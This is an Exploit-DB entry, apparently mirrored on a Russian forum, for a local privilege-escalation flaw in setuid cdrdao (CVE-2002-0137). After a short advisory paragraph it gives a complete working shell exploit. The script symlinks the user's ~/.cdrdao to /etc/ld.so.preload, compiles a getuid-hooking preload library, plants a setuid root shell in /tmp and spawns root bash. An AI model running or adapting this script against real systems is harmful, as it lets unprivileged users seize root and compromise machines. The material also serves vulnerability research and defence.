- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 21218
- Проверка EDB
-
- Пройдено
- Автор
- ANONYMOUS
- Тип уязвимости
- LOCAL
- Платформа
- LINUX
- CVE
- cve-2002-0137
- Дата публикации
- 2002-01-13
Код:
source: https://www.securityfocus.com/bid/3865/info
CDRDAO is a freely available, open source CD recording software package available for the Unix and Linux Operating Systems. It is maintained by Andreas Mueller.
When CDRDAO saves it's configuration to the .cdrdao file in a user's home directory, the file is saved with root ownership. Additionally, CDRDAO does not check for the previous existence of this file. Since the cdrdao executable is typically installed setuid root, it is possible for a user to create this file as a symbolic link, which could result in the overwriting of root-owned files, or potentially allow the user execute commands as root.
#!/bin/sh
# cdrdao local root exploit
# newbug [at] chroot.org
# IRC: irc.chroot.org #chroot
# May 2005
echo "cdrdao private exploit"
echo "This exploit only for Mandrake series"
echo "newbug [at] chroot.org"
echo "May 2005"
echo "checking if cdrdao is setuid ...";
if [ ! -u /usr/bin/cdrdao ]; then
echo "[-] Failed";
exit
fi
echo "[+] done.";
echo "checking if /etc/ld.so.preload already exist ..."
if [ -f /etc/ld.so.preload ]; then
echo "[-] Failed."
exit
else
echo "[+] done."
fi
echo "checking if ~/.cdrdao already exist ..."
if [ -f ~/.cdrdao ]; then
rm -rf ~/.cdrdao
fi
echo "[+] done."
cd /tmp
echo "preparing hook library ..."
cat >ld.so.c<<EOF
#include <stdlib.h>
uid_t getuid()
{
return 0;
}
EOF
echo "[+] done."
echo "preparing shell program ..."
cat >sh.c <<EOF
#include <stdio.h>
#include <unistd.h>
int main(int argc,char **argv)
{
setreuid(0,0);
setgid(0);
unlink("/tmp/ld.so");
if(getuid())
{
printf("[-] Failed.\n");
unlink(argv[0]);
exit(0);
}
printf("[+] Congratulation, You win the game !!\n");
unlink("/etc/ld.so.preload");
execl("/bin/bash","bash",(char *)0);
return 0;
}
EOF
echo "[+] done."
echo "link .cdrdao ==> /etc/ld.so.preload ..."
ln -sf /etc/ld.so.preload ~/.cdrdao
echo "[+] done."
echo "compile hook library ..."
gcc -shared -o ld.so ld.so.c
echo "[+] done."
echo "compile shell program ..."
gcc -o sh sh.c
echo "[+] done."
umask 0
echo "run cdrdao ..."
cdrdao unlock --save >/dev/null 2>&1
echo "[+] done."
echo "checking if /etc/ld.so.preload created successful..."
if [ -f /etc/ld.so.preload ]; then
echo "[+] done."
else
echo "[-] Failed."
exit
fi
echo "/tmp/ld.so">/etc/ld.so.preload
rm -f /tmp/sh.c
rm -f /tmp/ld.so.c
su -c "chown root.root /tmp/sh;chmod 4755 /tmp/sh" >/dev/null 2>&1
echo "!@#\$@%#$%#$%!@%^"
/tmp/sh
- Источник
- www.exploit-db.com